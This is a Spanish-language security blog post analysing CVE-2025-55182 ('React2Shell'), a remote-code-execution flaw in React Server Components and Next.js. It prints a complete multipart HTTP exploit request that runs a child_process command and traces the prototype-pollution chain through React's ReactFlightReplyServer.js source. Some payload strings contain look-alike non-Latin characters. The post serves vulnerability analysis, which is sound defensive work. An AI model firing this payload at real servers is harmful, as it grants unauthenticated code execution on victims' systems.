top of page

Anatomía CVE-2025-55182 (React2Shell)

  • Foto del escritor: Consultor Virtual CISO
    Consultor Virtual CISO
  • hace 7 horas
  • 13 Min. de lectura

CVE-2025-55182 no es un caso aislado, forma parte de una trilogía de vulnerabilidades que expuso debilidades estructurales en un servicio moderno, ampliamente adoptado y valorado precisamente por su facilidad de implementación y abstracción técnica: los React Server Components utilizados por frameworks como Next.js.


ree



El ataque más sofisticado que hemos encontrado últimamente


Investigamos una vulnerabilidad crítica de ejecución remota de código que afectaba a React y Next.js (CVE-2025-55182, también conocida como React2Shell). Esta vulnerabilidad permite a los atacantes ejecutar código arbitrario en servidores vulnerables sin autenticación, y millones de servidores se vieron en riesgo inmediato al enviar una carga útil especialmente diseñada directamente al servidor React.

La complejidad técnica sugirió que esto no era simplemente otro CVE para parchar y olvidar, y, efectivamente, a pocas horas de la divulgación, surgieron informes de que piratas informáticos patrocinados por el estado chino habían comenzado a explotar activamente React2Shell.


La mayor parte de la cobertura de React2Shell se centra en una visión general: inteligencia de amenazas, versiones afectadas y guía de parches. En esta publicación, quisimos profundizar y mostrar exactamente qué hace que este exploit sea tan sofisticado. Para aprovechar esta vulnerabilidad con éxito, un atacante (creador) necesita un profundo conocimiento del código interno de React y la capacidad de encadenar múltiples componentes distintos, cada uno con una función distinta en la secuencia de ataque. No obstante, un atancante menos aventajado, puede utilizar las herramientas disponibles como prueba de concepto para generar un ataque exitoso.


Analizamos su funcionamiento y la lógica específica del código dentro de React que hizo posible este exploit. Compruébelo usted mismo: se trata de un exploit excepcionalmente sofisticado.


¿Que es React?

React es una de las bibliotecas de JavaScript más populares para crear interfaces de usuario, creada por Meta (Facebook), con más de 1.97 mil millones de descargas totales y más de 20 millones de descargas semanales.

Si bien muchos blogs cubren los aspectos de inteligencia de amenazas y vectores de ataque de esta vulnerabilidad, profundizamos lo más posible para mostrarle cómo funciona realmente, hasta las líneas de código específicas dentro de la fuente de React que habilitan la cadena de explotación.


El Exploit (Desde scanner hasta script de ejecución remota)


En redes sociales y sitios especializados como GitHub polularn desde scanner para ver si los servicios expuestos son vulnerables o bien, el scripr para la ejecución remota de comandos. El exploit detona el mecanismo de deserialización del lado del servidor de React Flight para lograr la ejecución remota de código mediante un ataque de contaminación de prototipos e inyección de código cuidadosamente orquestado. El exploit aprovecha una referencia circular entre dos fragmentos de formulario multiparte: el fragmento 0 contiene una carga JSON maliciosa con referencias manipuladas, mientras que el fragmento 1 apunta al fragmento 0 mediante $@0. Al explotar el patrón de referencia $1:__proto__:then, el atacante contamina Chunk.prototype.then y, a continuación, establece el estado de un fragmento falso como 'resolved_model' para activar initializeModelChunk con datos controlados por el atacante. La carga secuestra formData.get recorriendo la cadena de constructores ($1:constructor:constructor) para obtener el constructor de la función, a la vez que coloca código malicioso en response._prefix. Cuando la ruta de deserialización de Blob procesa una referencia $B, invoca lo que cree que es formData.get() pero en realidad es Function(maliciouscode), creando y ejecutando una función que contiene el comando del atacante (por ejemplo, process.mainModule.require('child_process').execSynс('calc')), lo que resulta en la ejecución de código arbitrario en el servidor.


Detalles

Ahora veamos exactamente cómo se desarrolla este ataque, paso a paso a través del código fuente de React.

En nuestra última investigación, demostramos y verificamos que el PoC publicado realmente funciona, lo que hace que los servidores vulnerables sean inmediatamente explotables en todo el mundo. (si el escenario es el correcto)


La carga útil que mostramos es la siguiente:

POST / HTTP/1.1
Host: e57c9a8b480c.ngrok-free.app
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 458

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSynс('calc');","_formDatа":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Nos pareció interesante mostrar por qué este exploit realmente funciona con el flujo completo con referencias al código fuente.


Comenzaremos por establecer los límites del protocolo:

Content-Type: multipart/form-data; 
boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

Que luego se utiliza al declarar los fragmentos, como por ejemplo:

Content-Disposition: form-data; name="0"

Luego, este nombre se utiliza para guardar el primer fragmento y almacenar sus datos en: (packages\react-server\src\ReactFlightReplyServer.js)


resolveField(response, key, value) se llama durante el procesamiento de la solicitud para almacenar datos del formulario: response._formData.append(key, value), donde key es el nombre del formulario (por ejemplo, “0”).

export function resolveField(
  response: Response,
  key: string,
  value: string,
): void {
  // Add this field to the backing store.
  response._formData.append(key, value);
  const prefix = response._prefix;
  if (key.startsWith(prefix)) {
    const chunks = response._chunks;
    const id = +key.slice(prefix.length);
    const chunk = chunks.get(id);
    if (chunk) {
      // We were waiting on this key so now we can resolve it.
      resolveModelChunk(response, chunk, value, id);
    }
  }
}

Luego, la función reviveModel en ReactFlightReplyServer.js es responsable de deserializar los datos JSON de los fragmentos de React Flight en objetos JavaScript durante el procesamiento del lado del servidor.


(packages\react-server\src\ReactFlightReplyServer.js)

function reviveModel(
  response: Response,
  parentObj: any,
  parentKey: string,
  value: JSONValue,
  reference: void | string,
): any {
  if (typeof value === 'string') {
    // We can't use .bind here because we need the "this" value.
    return parseModelString(response, parentObj, parentKey, value, reference);
  }
  if (typeof value === 'object' && value !== null) {
    if (
      reference !== undefined &&
      response._temporaryReferences !== undefined
    ) {
      // Store this object's reference in case it's returned later.
      registerTemporaryReference(
        response._temporaryReferences,
        value,
        reference,
      );
    }
    if (Array.isArray(value)) {
      for (let i = 0; i < value.length; i++) {
        const childRef =
          reference !== undefined ? reference + ':' + i : undefined;
        // $FlowFixMe[cannot-write]
        value[i] = reviveModel(response, value, '' + i, value[i], childRef);
      }
    } else {
      for (const key in value) {
        if (hasOwnProperty.call(value, key)) {
          const childRef =
            reference !== undefined && key.indexOf(':') === -1
              ? reference + ':' + key
              : undefined;
          const newValue = reviveModel(
            response,
            value,
            key,
            value[key],
            childRef,
          );
          if (newValue !== undefined) {
            // $FlowFixMe[cannot-write]
            value[key] = newValue;
          } else {
            // $FlowFixMe[cannot-write]
            delete value[key];
          }
        }
      }
    }
  }
  return value;
}

Primero se envía esto:

"then":"$1:__proto__:then"

Por lo tanto, llegaremos al código en:

} else {
      for (const key in value) {
        if (hasOwnProperty.call(value, key)) {
          const childRef =
            reference !== undefined && key.indexOf(':') === -1
              ? reference + ':' + key
              : undefined;
          const newValue = reviveModel(
            response,
            value,
            key,
            value[key],
            childRef,
          );

Que recursivamente llamará nuevamente a reviveModel con:

key = "then"

value = "$1:__proto__:then"

reviveModel(response, value, "then", value["then"], childRef)

Y como el valor (value) es una cadena, esto se llamará:

if (typeof value === 'string') {
  // We can't use .bind here because we need the "this" value.
  return parseModelString(response, parentObj, parentKey, value, reference);
 }

(packages\react-server\src\ReactFlightReplyServer.js)

function parseModelString(
  response: Response,
  obj: Object,
  key: string,
  value: string,
  reference: void | string,
): any {

Nuestro valor es: “$1:__proto__:then”, por lo que estamos dentro del primer if (línea: 923):

if (value[0] === '$') {

Entonces nos encontramos dentro de un caso de interruptor, en el cual ninguno de ellos responde a “1”, por lo tanto, recurriremos a:

// We assume that anything else is a reference ID.
    const ref = value.slice(1);
    return getOutlinedModel(response, ref, obj, key, createModel);

En nuestro caso:

ref = value.slice(1)

Maps a:

1:__proto__:then

Que llama:

getOutlinedModel(response, "1:__proto__:then", obj, key, createModel)

(packages\react-server\src\ReactFlightReplyServer.js)

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);

En nuestro caso, obtendremos los valores de ruta e id de la siguiente manera:

path = ["1", "__proto__", "then"]
id = 1

Lo cual, para devolver el fragmento, realizará la llamada a:

function getChunk(response: Response, id: number): SomeChunk<any> {
  const chunks = response._chunks;
  let chunk = chunks.get(id);

return chunk;

Que devuelve para indefinido (aún no almacenado en caché):

chunks.get(id)

Clave resultante para tener el valor del id enviado (es decir: 1), dando como resultado la siguiente llamada:

const backingEntry = response._formData.get(key);

Que recupera: “$@0”

Aquí es donde se crea:

chunk = createResolvedModelChunk(response, "$@0", 1)

Y lo almacena en caché:

function createResolvedModelChunk<T>(
  response: Response,
  value: string,
  id: number,
): ResolvedModelChunk<T> {
  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
  return new Chunk(RESOLVED_MODEL, value, id, response);
}

Saltando a la función Chunk y dado que el estado es RESOLVED_MODEL, saltaremos a esta parte del código:

switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }

Al sumergirnos en initializeModelChunk, esta es la parte crítica en el proceso de deserialización de React Flight:

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;

  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

Tomamos ResolvedModelChunk<T>, que contiene datos aún no utilizables,y lo transformamos en un objeto completamente inicializado y compatible con Java Script.El proceso comienza con la extracción:

const resolvedModel = chunk.value;

En otras palabras: la cadena “$@0” de los datos del formulario.

Luego, para convertirlo de una cadena a un valor básico de JavaScript, llamamos:

const rawModel = JSON.parse(resolvedModel);

Luego (nuevamente) se realiza una llamada a reviveModel:

const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );

al pasar “$@0” a reviveModel, nuevamente se trata como:

if (typeof value === 'string') {
    // We can't use .bind here because we need the "this" value.
    return parseModelString(response, parentObj, parentKey, value, reference);
 }

Dado que comenzamos con $@, entraremos en esta parte del código:

if (value[0] === '$') {
    switch (value[1]) {
      case '$': {
        // This was an escaped string value.
        return value.slice(1);
      }
      case '@': {
        // Promise
        const id = parseInt(value.slice(2), 16);
        const chunk = getChunk(response, id);
        return chunk;

Por lo tanto, el valor revivido se convierte en el objeto de fragmento para id=0

Aquí es donde el estado se establece en INICIALIZADO y se establece el valor:

} else {
      const resolveListeners = cyclicChunk.value;
      const initializedChunk: InitializedChunk<T> = (chunk: any);
      initializedChunk.status = INITIALIZED;
      initializedChunk.value = value;
      if (resolveListeners !== null) {
        wakeChunk(resolveListeners, value);
      }
    }

Esto nos lleva a esta parte de la función getOutlinedModel:

switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }

O en nuestro caso:

case INITIALIZED:
  let value = chunk.value;  // value = the chunk for id=0 (a Chunk object)
  for (let i = 1; i < path.length; i++) {
    value = value[path[i]];  // path = ["1", "__proto__", "then"]
  }
  // i=1: value = value["__proto__"] → Chunk.prototype
  // i=2: value = value["then"] → Chunk.prototype.then (the then method)
  return map(response, value);  // createModel returns value directly → the then function

La función de mapa es un parámetro que se pasa a nuestro getOutlinedModel, en nuestro caso es createModel:

function createModel(response: Response, model: any): any {
  return model;
}

Así que básicamente devuelve el modelo, o valor en nuestro caso, sin cambios.

Esto se establece como Chunk.prototype.then como la propiedad then.

Estamos de vuelta en:

for (const key in value) {
        if (hasOwnProperty.call(value, key)) {
          const childRef =
            reference !== undefined && key.indexOf(':') === -1
              ? reference + ':' + key
              : undefined;
          const newValue = reviveModel(
            response,
            value,
            key,
            value[key],
            childRef,
          );

Dado que el valor [“estado”] es la cadena: “resolved_model” y no comienza con algo especial (como hicimos antes), simplemente devuelve la cadena tal como está.

Luego analizamos “reason”:-1 que simplemente lo establece en el objeto padre.

A continuación, el bucle pasa a:


“value”: “{\”then\”:\”$B1337\”}”


Dado que es una cadena que no comienza con $, parseModelString la devuelve sin cambios y se activa al final, donde profundizaremos en ella y mostraremos cómo conduce a la ejecución del código.


Ahora, llegamos a la “_response” con el objeto:


{“_prefix”:”process.mainModule.require(‘child_process’).execSync(‘calc’);”,”_formData”:{“get”:”$1:constructor:constructor”}}


Dado que es un objeto, y como hemos visto desde el principio, reviveModel se llama a sí mismo recursivamente en este objeto _response, que lo pasa como el nuevo objeto padre. Comenzamos con “_prefix” y como no comienza con $, parseModelString lo devuelve sin cambios.


Esto establece response[“prefix”] en:


“process.mainModule.require(‘child_process’).execSync(‘calc’);”


A continuación pasamos a: “_formData” que recibe un objeto:


{“get”:”$1:constructor:constructor”}


Esto inicia el procesamiento de las propiedades de _formData a través de reviveModel.

Estamos llegando al procesamiento de “get” que obtiene la cadena:


“$1:constructor:constructor”


Pero… comienza con $, pero 1 no coincide con ningún caso, por lo que llegaremos a la función parseModelString en la línea 1084:


(packages\react-server\src\ReactFlightReplyServer.js)

// We assume that anything else is a reference ID.
    const ref = value.slice(1);
    return getOutlinedModel(response, ref, obj, key, createModel);

Que llama:

getOutlinedModel(response, "1:constructor:constructor", _formData, "get", createModel)

Observando más de cerca la función:

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);

getOutlinedModel divide la ruta [“1”, “constructor”, “constructor”], gets id = 1 (the 1 chunk).

Y entraremos en:

switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);

Que recorrerá valor[“constructor”][“constructor”] → Chunk.constructor.constructor → Función


El “valor” se analiza al final del procesamiento de la solicitud, cuando se procesa: $B1337

 Volveremos a:

if (typeof value === 'string') {
    // We can't use .bind here because we need the "this" value.
    return parseModelString(response, parentObj, parentKey, value, reference);
}

$B nos lleva a:

case 'B': {
        // Blob
        const id = parseInt(value.slice(2), 16);
        const prefix = response._prefix;
        const blobKey = prefix + id;
        // We should have this backingEntry in the store already because we emitted
        // it before referencing it. It should be a Blob.
        const backingEntry: Blob = (response._formData.get(blobKey): any);
        return backingEntry;
      }

Que llama a la función con la ejecución del comando:

process.mainModule.require('child_process').execSync('calc');

El cruel resumen


Esta vulnerabilidad explota la deserialización del lado del servidor de React Flight en ReactFlightReplyServer.js manipulando la función reviveModel para contaminar el prototipo y ejecutar código arbitrario. Los atacantes crean una carga útil multipart/form-data que se deserializa en un objeto "chunk" falso que imita una instancia de Chunk, con el estado 'resolved_model' para activar initializeModelChunk. Esto utiliza un objeto response controlado que contiene un prefix malicioso (el código ejecutable) y _formData: {get: Function}, secuestrando Chunk.prototype.then mediante una cadena de referencia. Al analizar una referencia $B, la ruta de deserialización de Blob invoca Function(prefix + id), creando una función con el código del atacante como cuerpo, que se asigna a la then property. Las operaciones posteriores de promise-like (p. ej., await o .then()) en el objeto deserializado ejecutan la función maliciosa, lo que permite la ejecución remota de código en servidores vulnerables y con escenarios concretos.



Equipo vCISO

CyberSecurity Team

  • LinkedIn
  • YouTube

©2022 por vCISO. 

bottom of page